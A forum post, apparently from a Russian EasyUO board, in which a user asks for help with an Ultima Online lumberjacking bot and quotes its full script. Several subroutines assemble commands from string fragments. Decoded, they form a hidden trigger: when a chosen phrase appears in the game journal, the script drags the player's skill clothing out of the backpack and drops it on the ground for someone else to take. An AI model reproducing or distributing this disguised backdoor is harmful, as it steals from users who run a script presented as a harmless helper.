Здравствуйте, гость ( Вход | Регистрация )

 
Ответить в эту темуОткрыть новую тему
> Lumber problem
vanea
сообщение 26.5.2015, 22:40
Сообщение #1


*****

Группа: Пользователи
Наличность: 0
Пользователь №: 10.065



Добрыи дени, возникла праблема , работал етат скрипт на 4 серверах, на новом сервере рубит, ходит, ток набираит вес, идиот к сундуку всио нармлаина, но вот кагда нужна скинути в сундук логи выдаиот ашыпку - You can not pick that up . Я как панимаю он логи ни видит? как можна исправити ету праблему што он логи кидал в сундук
сам скрипт
Цитата
set %gameClass Archer ; Cleric or Archer
set %maxWeight 200 ; Max ves
set %box VYEGBRD ; ID korobki, gde sbrasivatj rudu
set %foodCont YELLARD ; ID korobki, gde stoit zapasi moloko i bekona
set %xCoord 1949 ; X koordinata okolo boxa
set %yCoord 364 ; Y koordinata okolo boxa
set %dropAspen #false ; #true - sbrasivajet Aspen logi , #false - net
set %dropWillow #false ; #true - sbrasivajet Willow logi , #false - net
set %dropCedarMapleNoblefire #false ; #true sbrasivajet etie logi, #false - net
set %dropCherryEcalyptus #false ; #true sbrasivajet etie logi, #false - net
set %skillItemChange #false ; #true - menjajet skill shmotki, #false - net
set %recall #false ; #true - letajet s runebook, #false - begut peshkom
; Do Not Set These Items If %skillItemChange #false
set %skillRobe KIOSJMD ; Skill Roba (ID)
set %skillCloak TCNSJMD ; Skill Cloack (ID)
set %skillMask YSNSJMD ; Skill Mask (ID)
set %simpleRobe UTRVLMD ; Prostaja Roba (ID)
set %simpleCloak VARVLMD ; Prostoj cloack (ID)
set %simpleMask CSH ; Helm (TYPE/ID)
; Etix mozhno ne menjatj, esli %recall #false
set %runebookID NDWXJMD ; ID runebooka
set %runeNumberToHome 7 ; Nr runi na dom
set %runeNumberToWood 10 ; Nr runi na les
set %amountRecalls 10 ; Skolko recallov vzjatj, kogda ix netu
; special variables for Archer (tolka dlja archera):
set %camp heal ; #spc - the best camp, heal - healing campifre +5
set %minKidlings 10 ; minimalnoe kolichestvo kidlov v sumke
set %amountKidlings 40 ; skolko kidlov vzjatj, kogda ix netu
set %minArrows 150 ; minimalnoe kolichestvo strel v sumke
set %amountArrows 400 ; skolko strel vzjatj, kogda ix netu
; special variables for Cleric(tolko dlja klerika):
set %Weapon FSF ; oruzhie
set %Shield OIK ; shild

set %item ZLK_POF_RZF_SJG_CUD_IJG_HSF_RVH_FZH_NZH_UJG_FWL_DCI
set %loot POF_RZF_SJG_CUD_IJG_HSF_RVH_FZH_NZH_UJG_FWL_DCI

if %recall
{
gosub Instalyze runeNumberToHome 1
gosub Instalyze runeNumberToWood 2
}
if %dropAspen
set %aspenCol 973
if %dropWillow
set %willowCol 0
if %dropCedarMapleNoblefire 3
set %cedarCol 437
set %mapleCol 1233
set %noblefireCol 153
if %dropCherryEcalyptus 2
set %cherryCol 38
set %ecalyptusCol 81
set %skill %skillRobe , _ , %skillCloak , _ , %skillMask
gosub gettingStarted
gosub initevents
set %k 0
set %lastK 0

start:
msg #dot $

GOSUB LJING 1952 375 3303
GOSUB LJING 1952 375 3303
GOSUB LJING 1948 381 3300
GOSUB LJING 1948 384 3303
GOSUB LJING 1948 387 3284
GOSUB LJING 1952 381 3294
GOSUB LJING 1952 390 3300
GOSUB LJING 1952 399 3284
GOSUB LJING 1944 399 3284
GOSUB LJING 1944 405 3284
GOSUB LJING 1944 411 3281
GOSUB LJING 1944 414 3303
GOSUB LJING 1948 423 3278
GOSUB LJING 1948 414 3278
GOSUB LJING 1952 417 3277
GOSUB LJING 1952 414 3290
GOSUB LJING 1952 411 3281
GOSUB LJING 1948 411 3297
GOSUB LJING 1948 408 3291
GOSUB LJING 1952 408 3278
GOSUB LJING 1956 405 3278
GOSUB LJING 1960 408 3300
GOSUB LJING 1964 408 3284
GOSUB LJING 1964 402 3300
GOSUB LJING 1960 399 3291
GOSUB LJING 1956 399 3278
GOSUB LJING 1956 396 3294
GOSUB LJING 1964 396 3300
GOSUB LJING 1964 393 3302
GOSUB LJING 1964 390 3303
GOSUB LJING 1964 387 3303
GOSUB LJING 1964 384 3299
GOSUB LJING 1964 381 3290
GOSUB LJING 1964 378 3300
GOSUB LJING 1964 375 3294
GOSUB LJING 1968 375 3297
GOSUB LJING 1972 372 3283
GOSUB LJING 1972 375 3284
GOSUB LJING 1976 375 3303
GOSUB LJING 1976 378 3278
GOSUB LJING 1976 381 3303
GOSUB LJING 1976 384 3278
GOSUB LJING 1976 387 3300
GOSUB LJING 1976 396 3291
GOSUB LJING 1976 399 3300
GOSUB LJING 1976 405 3281
GOSUB LJING 1976 411 3303
GOSUB LJING 1980 411 3284
GOSUB LJING 1980 408 3278
GOSUB LJING 1980 402 3278
GOSUB LJING 1980 396 3300
GOSUB LJING 1980 393 3284
GOSUB LJING 1980 387 3297
GOSUB LJING 1980 384 3294
GOSUB LJING 1984 384 3297
GOSUB LJING 1984 387 3303
GOSUB LJING 1982 391 3253
GOSUB LJING 1984 396 3294
GOSUB LJING 1984 399 3300
GOSUB LJING 1984 405 3291
GOSUB LJING 1984 411 3300
GOSUB LJING 1988 411 3303
GOSUB LJING 1988 408 3303
GOSUB LJING 1988 405 3284
GOSUB LJING 1988 399 3294
GOSUB LJING 1992 399 3297
GOSUB LJING 1992 402 3300
GOSUB LJING 1992 405 3294
GOSUB LJING 1992 408 3300
GOSUB LJING 1992 411 3297
GOSUB LJING 1996 408 3303
GOSUB LJING 1996 399 3300
GOSUB LJING 2000 405 3300
GOSUB LJING 2000 399 3300
GOSUB LJING 2000 396 3297
GOSUB LJING 2000 393 3302
GOSUB LJING 2000 390 3302
GOSUB LJING 2000 384 3294
GOSUB LJING 2000 378 3294
GOSUB LJING 1996 381 3281
GOSUB LJING 1996 375 3284
GOSUB LJING 1992 378 3297
GOSUB LJING 1992 375 3300
GOSUB LJING 1988 378 3291
GOSUB LJING 1988 375 3284
GOSUB LJING 1988 372 3281
GOSUB LJING 1988 369 3278
GOSUB LJING 1988 366 3300
GOSUB LJING 1988 360 3300
GOSUB LJING 1984 360 3278
GOSUB LJING 1988 357 3284
GOSUB LJING 1988 351 3296
GOSUB LJING 1988 348 3300
GOSUB LJING 1988 345 3297
GOSUB LJING 1988 342 3284
GOSUB LJING 1984 342 3281
GOSUB LJING 1984 348 3294
GOSUB LJING 1980 348 3281
GOSUB LJING 1976 348 3297
GOSUB LJING 1976 351 3278
GOSUB LJING 1972 345 3300
GOSUB LJING 1968 351 3281
GOSUB LJING 1964 357 3278
GOSUB LJING 1964 366 3290
GOSUB LJING 1964 369 3284




goto start

sub ljing
set %k %k + 1
gosub ghost
gosub checkHP
gosub reaper
gosub checkWeight
move %1 %2 1
finditem DUKLARD
set #lobjectid #findid
set #ltargetx %1
set #ltargety %2
set #ltargettile %3
set #ltargetz %4
set #ltargetkind 3
event macro 17 0
target 20s
event macro 22 0
wait 7
set %overtime #scnt + 20
gosub scan
return

sub checkWeight
if #weight > %maxWeight
{
if ! %dropAspen && ! %dropWillow && ! %dropCherryEcalyptus && ! %dropCedarMapleNoblefire
{
if %recall
gosub port
if ! %recall
gosub moveItems
}
if %dropAspen || %dropWillow || %dropCedarMapleNoblefire || %dropCherryEcalyptus
{
gosub dropTrashLogs
return
}
}
if %afk <> true || %else <> IJG
gosub ghost 1
return

sub scan
scan:
scanjournal 1
if hungry in #sysmsg
{
gosub eat
return
}
%get fixed
gosub reaper
if ( ( there_is_nothing_to_chop in #sysmsg ) || ( You_hack_at_the_tree in #sysmsg )
+ || ( use_that_in in #journal ) || ( It_appears_immune_to_your_blow in #sysmsg ) )
return
gosub checkHP
if #scnt >= %overtime
return
goto scan
return

sub arm
if %gameClass = Cleric
{
repeat
{
finditem %Weapon c_ , #BackpackId
set #lobjectID #findid
event macro 17 0
wait 12
finditem %Weapon c_ , #BackpackId
}
until #findcnt = 0
repeat
{
finditem %Shield c_ , #BackpackId
set #lobjectID #findid
event macro 17 0
wait 12
finditem %Shield c_ , #BackpackId
}
until #findcnt = 0
}
if %gameClass = Archer
{
msg $.arm bow$
wait 5
}
return

sub port
set %k %k + 1
gosub arm
gosub checkHP
gosub reaper
if G in #charstatus
event macro 6 0
event macro 6 0
set %oldPosX #charposx
set %oldPosY #charposy
gosub openRunebook
repeat
{
click %x1 %y1
wait 20
}
until #contname <> generic_gump && #contsize <> 577_426
if %gameClass = Cleric
event macro 13 21
if %gameClass = Archer
event macro 13 47
gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak
while #charposx = %oldPosX && #charposy = %oldPosY
wait 10
gosub moveItems
gosub back
return

sub moveItems
ignoreitem reset 1
ignoreitem %skill 1
gosub runToBox
if %gameClass = Cleric
event macro 13 21
finditem %box G_3
if #findcnt = 0
{
event Sysmessage Box Not Found!
pause
}
repeat
{
finditem %item c_ , #backpackid
if #findcnt >= 1
{
if world_save_has_been in #sysmsg
wait 15s
exevent Drag #Findid #findstack
exevent Dropc %box
wait 40
}
}
until #findcnt = 0
ignoreitem reset 1
if %gameClass = Archer
gosub rescourses
if %recall
gosub recalls
gosub food
return

sub back
gosub checkHP
set %oldPosX #charposx
set %oldPosY #charposy
for %i 1 2
{
gosub openRunebook
click 261 215 ; Recharge runebook 2x
wait 20
}
gosub openRunebook
repeat
{
click %x2 %y2
wait 20
}
until #contname <> generic_gump && #contsize <> 577_426
event macro 13 21
wait 2s
gosub changeClothesTo %skillMask %skillRobe %skillCloak
while #charposx = %oldPosX && #charposy = %oldPosY
wait 10
return

sub runToBox
repeat
{
move %xCoord %yCoord 0
wait 10
}
until #charposx = %xCoord && #charposy = %yCoord
return

sub checkHP
if #hits < #maxhits
{
if %skillItemChange
gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak
gosub arm
gosub follow&kill
if %skillItemChange
gosub changeClothesTo %skillMask %skillRobe %skillCloak
}
return

sub fixed
set %k %k + 1
%to %bca %be # . %all
{
repeat
{
set %up # . %cares
%done %start , _ , %else %end , _ , %up
%lastdo %race # . %Wsave
%lastdo %eaea # . %alpha # . %beta # . %gamma
%upgrade 25
%done %start , _ , %else %end , _ , %up
}
until # . %gems = 0
}
return

sub openRunebook
finditem %runebookID C_ , #backpackid
if #findcnt = 0
{
event sysmessage Runebook not found!
pause
}
set #lobjectid #findid
event macro 17 0
while #contname <> generic_gump && #contsize <> 577_426
wait 1
return

sub ghost
if #charghost = YES || %0 = 1
{
terminate uo
halt
}
return

sub changeClothesTo
repeat
{
finditem %1 C_ , #backpackid
set #lobjectID #findid
event macro 17 0
wait 12
finditem %1 C_ , #backpackid
}
until #findcnt = 0
repeat
{
finditem %2 C_ , #backpackid
set #lobjectID #findid
event macro 17 0
wait 12
finditem %2 C_ , #backpackid
}
until #findcnt = 0
repeat
{
Finditem %3 C_ , #backpackid
set #lobjectID #findid
event macro 17 0
wait 12
finditem %3 C_ , #backpackid
}
until #findcnt = 0
return

sub initevents
set %rescourse finding
str left %rescourse 4
set %save #strres
set %done %save , item
set %iii kill
str left string 1
set %asd #strres , %iii
set %start % . %asd
str left CADY 1
set %end #strres
str left character 4
set %who #strres
set %cares %who , id
str left %do 4
set %lastdo ex , #strres , t
set %race dragrace
str left %race 4
set %race #strres
set %Wsave %save , id
str right skopg 3
set %jasl #strres
str left drive 2
set %eaea #strres , %jasl
str left post 3
set %number %who , #strres
set %alpha %number , x
set %beta %number , y
set %gamma %number , z
set %repsawn waitrespawn
str left %repsawn 4
set %upgrade #strres
str left tilbery 3
set %almost #strres
str left unuquady 2
set %past #strres , %almost
set %gems %save , cnt
set %else IJG
return

sub follow&kill
set %charX #charposx
set %charY #charposy
set %charz #charposz
set %killTime #scnt + 60
if %gameClass = Cleric
{
repeat
{
finditem #enemyid
event pathfind #FINDX #FINDY #FINDZ 1 3s
wait 1s
msg $.usebandage$
wait 10
target 1s
event macro 23 0
wait 10
gosub ghost
}
until #findcnt = 0 || #scnt > %killTime
}
if %gameClass = Archer
{
repeat
{
msg .camp %camp $
wait 40
finditem #enemyid
}
until #findcnt = 0 || #scnt > %killTime
}
gosub loot
if #hits < #maxhits
gosub heal
set %time #scnt + 20
repeat
{
event pathfind %charX %charY %charz 1 3s
wait 1s
gosub ghost
if #scnt > %time
return
}
until #charposx = %charX && #charposy = %charY
return

sub heal
repeat
{
msg $.usebandage$
wait 10
target
event macro 23 0
wait 20
}
until #hits >= #maxhits
return

sub gettingStarted
set %afk true
set %ell qaerty
str left %ell 1
set %abc #strres , #strres , #strres
set %a1 #strres
str left %ell 2
str right #strres 1
set %cba %abc , #strres , %a1
set %bca %cba , #strres
str right %afk 1
set %bca %bca , #strres
set %bra %bca , b
set %n1 nlogif
str right %n1 2
set %to #strres
str left %n1 1
set %be #strres
str right %n1 2
str left #strres 1
set %be #strres , %be
set %tour jour
set %navigate nalliwate
str left %navigate 3
set %all %tour , #strres
set %navigate gost
str left %navigate 3
set %ac #strres
str right pub 2
set %get %ac , #strres
set %do events
str right linit 4
set %toGo #strres , %do
return

sub eat
finditem ZBM C
set #lobjectid #findid
event macro 17 0
wait 10
finditem GND C
set #lobjectid #findid
event macro 17 0
wait 10
event macro 17 0
wait 5s
return

sub Instalyze
if % . %1 <= 8
set %x . %2 260
else
set %x . %2 420
if % . %1 = 1 || % . %1 = 9
set %y . %2 260
if % . %1 = 2 || % . %1 = 10
set %y . %2 275
if % . %1 = 3 || % . %1 = 11
set %y . %2 290
if % . %1 = 4 || % . %1 = 12
set %y . %2 305
if % . %1 = 5 || % . %1 = 13
set %y . %2 320
if % . %1 = 6 || % . %1 = 14
set %y . %2 335
if % . %1 = 7 || % . %1 = 15
set %y . %2 350
if % . %1 = 8 || % . %1 = 16
set %y . %2 365
return

sub loot
set %lootTime #scnt + 20
finditem YFM G_4
if #findcnt >= 1
{
set #lobjectid #findid
set %body #findid
event macro 17 0
while #contkind <> ASEB && #contsize <> 144_212 && %lootTime > #scnt
wait 1
wait 10
repeat
{
finditem %loot C_ , %body
if #findcnt = 0 || #scnt > %lootTime
{
ignoreitem %body 2
return
}
exevent drag #findid #findstack
exevent dropc #backpackid
wait 40
}
until #false
}
return

sub dropTrashLogs
repeat
{
finditem ZLK C_ , #backpackid
if #findcnt = 0
{
wait 20
if #weight >= %maxweight
{
if %recall
gosub port
if ! %recall
gosub moveItems
return
}
if #weight < %maxweight
return
}
if #findcol = %willowCol || #findcol = %aspenCol
+ || #findcol = %cedarCol || #findcol = %mapleCol || #findcol = %noblefireCol
+ || #findcol = %cherryCol || #findcol = %ecalyptusCol
{
exevent drag #findid #findstack
exevent dropg #charposx #charposy #charposz
wait 65
}
ignoreitem #findid 1
}
until #false
return

sub reaper
if %lastK >= %k
gosub ghost 1
set %lastK %k
finditem JE G
if #findcnt <> 0
{
sound
gosub arm
set %charX #charposx
set %charY #charposy
set %charz #charposz
if %skillItemChange
gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak
set %killTime #scnt + 60
finditem JE G
set %reaper #findid
set #ltargetid %reaper
event macro 27 0
if %gameClass = Cleric
{
repeat
{
finditem %reaper
event pathfind #FINDX #FINDY #FINDZ 1 3s
wait 1s
msg $.usebandage$
wait 10
target 1s
event macro 23 0
wait 10
gosub ghost
}
until #findcnt = 0 || #scnt > %killTime
}
if %gameClass = Archer
{
repeat
{
msg .camp %camp $
wait 40
finditem %reaper
}
until #findcnt = 0 || #scnt > %killTime
}
gosub loot
if #hits < #maxhits
gosub heal
if %skillItemChange
gosub changeClothesTo %skillMask %skillRobe %skillCloak
set %time #scnt + 20
repeat
{
event pathfind %charX %charY %charz 1 3s
wait 1s
gosub ghost
if #scnt > %time
return
}
until #charposx = %charX && #charposy = %charY
}
return

sub rescourses
finditem RWF C_ , #backpackid
if #findstack <= %minArrows
{
set #lobjectid %box
event macro 17 0
while #contid <> %box
wait 1
finditem RWF C_ , %box
exevent drag #findid %amountArrows
exevent dropc #backpackid
wait 30
}
finditem PEF C_ , #backpackid
if #findstack <= %minKidlings
{
set #lobjectid %box
event macro 17 0
while #contid <> %box
wait 1
finditem PEF C_ , %box
exevent drag #findid %amountKidlings
exevent dropc #backpackid
wait 30
}
return

sub recalls
finditem WTL C_ , #backpackid
if #findstack <= 2 || #findcnt = 0
{
set #lobjectid %box
event macro 17 0
while #contid <> %box
wait 1
finditem WTL C_ , %box
exevent drag #findid %amountRecalls
exevent dropc #backpackid
wait 30
}
return

sub food
finditem ZBM C_ , #backpackid
if #findcnt = 0
{
set #lobjectid %foodCont
event macro 17 0
while #contid <> %foodCont
wait 1
finditem ZBM C_ , %foodCont ; 1 pitcher of milk
exevent drag #findid 1
exevent dropc #backpackid
wait 30
}
finditem GND C_ , #backpackid
if #findcnt = 0
{
finditem GND C_ , %foodCont
exevent drag #findid 4 ; 4 baocn slices
exevent dropc #backpackid
wait 30
finditem ZBM C_ , %foodCont ; 1 pitcher of milk
exevent drag #findid 1
exevent dropc #backpackid
wait 30
}
return
Пользователь в офлайнеDelete PostОтправить личное сообщение
Вернуться в начало страницы
+Ответить с цитированием данного сообщения

Ответить в эту темуОткрыть новую тему
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0

 

- Текстовая версия | Версия для КПК Сейчас: 25.8.2019, 0:58
Designed by Nickostyle